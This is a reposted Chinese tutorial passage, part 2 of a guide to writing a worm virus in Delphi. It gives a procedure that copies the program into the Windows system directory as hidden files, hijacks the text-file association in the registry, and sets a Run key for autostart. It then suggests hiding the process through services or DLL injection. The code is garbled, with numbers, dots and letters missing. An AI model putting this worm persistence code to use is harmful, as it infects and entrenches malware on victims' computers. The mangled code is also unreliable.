知识大全用Delphi来编写蠕虫病毒浅析[2]

Posted 2022-07-22 系统

篇首语：注意力是智慧的门户。本文由小常识网(cha138.com)小编为大家整理，主要介绍了知识大全用Delphi来编写蠕虫病毒浅析[2]相关的知识，希望对你有一定的参考价值。

用Delphi来编写蠕虫病毒浅析[2] 以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容，让我们赶快一起来看一下吧！

下面我综合上面的说明来给出一个简短的例子 procedure SelfCopy; var Path value:array [ ] of char; Hk:HKEY; S:string; begin GetSystemDirectory(Path ); //取得系统的路径 s:=strpas(Path); //转换成字符串 CopyFile(pchar(paramstr( )) pchar(S+ /ruin exe ) false); CopyFile(pchar(paramstr( )) pchar(S+ /virus_ruin exe ) false); //把自身拷贝到系统目录下为ruin exe virus_ruin exe SetFileAttributes(pchar(S+ /ruin exe ) FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM); SetFileAttributes(pchar(S+ /virus_ruin exe ) FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM); //设置刚才的两个文件为系统和隐藏 RegOpenKey(HKEY_CLASSES_ROOT txtfile/shell/open/mand Hk); value:= virus_ruin exe % ; RegSetvalueEx(Hk REG_SZ @value ); //把virus_ruin exe和文本文件关联 RegOpenKey(HKEY_LOCAL_MACHINE Sofare/Microsoft/Windows/CurrentVersion/Run Hk); value:= ruin exe ; RegSetvalueEx(Hk ruin REG_SZ @value ); //设置开机自动运行ruin exe end; 　　我们看上面的这个程序就完成了自我复制和开机自动运行并且关联了文本文件这样如果run下的键被删除那么他打开文本文件蠕虫文件又被激活　　不过这个样子你就需要在你的主程序里面进行判断如果传递的参数等于则打开该文本并且进行自我保护　　如 begin if paramcount= then shellexecute( open notepad exe pchar(paramstr( )) nil sw_normal); //其他的代码　　这里我只是给出一个简单的例子来描述出一个大概的思路很多地方还不完善比如进程的隐藏你可以进行判断如果是你可以registerserverapplication如果你是用的你可以做为服务启动或者是插入dll 或者是用求职信的方法开机加载一个dll 或者是win ini cha138/Article/program/Delphi/201311/24756

知识大全 用Delphi来编写蠕虫病毒浅析[2]

知识大全用Delphi来编写蠕虫病毒浅析[2]